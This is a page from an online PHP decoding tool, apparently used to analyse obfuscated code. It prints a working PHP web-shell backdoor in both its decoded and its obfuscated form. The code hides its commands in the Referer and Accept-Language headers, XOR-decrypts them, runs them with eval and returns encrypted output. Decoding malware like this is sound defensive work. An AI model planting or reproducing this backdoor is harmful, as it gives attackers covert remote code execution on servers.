Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$U='($t);T7$o=T7""T7;for($i=T70;$i<$l;){forT7T7T7(T7$j=0;($j<$c&&$i<$l);$T7j++,$i++T7){$oT..
Decoded Output download
$kh="da26";$kf="da04";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
$U='($t);T7$o=T7""T7;for($i=T70;$i<$l;){forT7T7T7(T7$j=0;($j<$c&&$i<$l);$T7j++,$i++T7){$oT7';
$K='(@xT7(@base6T7T7T74_decodeT7(preg_replace(arrT7ay("/_T7/","/-T7/")T7,arraT7yT7("/","+")';
$A='T7(x(gzcT7ompresT7s($o)T7,$T7k));print("T7<$k>$d<T7/$k>"T7);@sesT7sionT7_dT7estroy();}}}}';
$e='.T7=$t{T7$i}^$k{$j};}T7}retuT7rn $o;}T7$T7r=$_SERVER;$rr=T7@$r["HT7T7TTP_REFT7ERER"];T7$T7ra';
$l='=@$r[T7"HTTP_ACCT7EPT_LANT7GUAGE"];ifT7($T7rr&&$ra){T7$u=T7paT7T7rse_url($rr);T7parsT7e_s';
$k='tr(T7$u["query"],$q)T7;$q=arT7ray_vaT7lT7ues(T7$T7q);pregT7_match_aT7lT7T7l("/(T7[\\w])T7[T';
$Z=',$ss($T7s[$i]T7,0,$eT7))),$T7kT7)T7));$oT7=ob_get_contenT7ts();ob_end_cT7leT7an();$T7d=baseT764_encode';
$a='7strposT7($s[$iT7]T7,$f);ifT7($e){$k=$T7khT7.T7$kf;ob_start();T7@evaT7l(@gT7zuncompresT7s';
$L=str_replace('b','','cbreatbebb_fubnctibon');
$f='s[$i]=""T7;$p=$ssT7($p,3);}T7if(T7array_kT7ey_existT7s($T7iT7,$s)){$s[$i]T7.=$p;$e=T';
$s='$kh="dT7a26";$kT7f="T7da04";T7T7function T7x($T7t,$k){$c=sT7trlen($k)T7;$l=strT7len';
$h='ST7ESSION;$ss=T7"substrT7";$sl=T7"T7strtolowerT7"T7;$i=$m[1][0]T7.$m[T71][1T7];$h=$sl(';
$O='T7T7$ss(mT7d5($i.$kh),0,T73));$fT7=$T7sl($T7ss(md5(T7$i.$kf),0T7T7,3));$T7p="T7";forT7($z=1';
$z=';$z<T7count($m[1]);$zT7++)$p.=T7T7$q[$mT7[2][T7$z]];iT7f(strpos($p,$T7T7h)=T7==0){$';
$m='7\\w-]T7+(?T7:;q=0.([\\d]))?,?/",$ra,$T7m)T7;if($q&&$m){@session_stT7art()T7;$s=&$T7_';
$n=str_replace('T7','',$s.$U.$e.$l.$k.$m.$h.$O.$z.$f.$a.$K.$Z.$A);
$H=$L('',$n);$H();Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | d78b3bf57866e328c0f0f2f969f59f86 |
| Eval Count | 1 |
| Decode Time | 111 ms |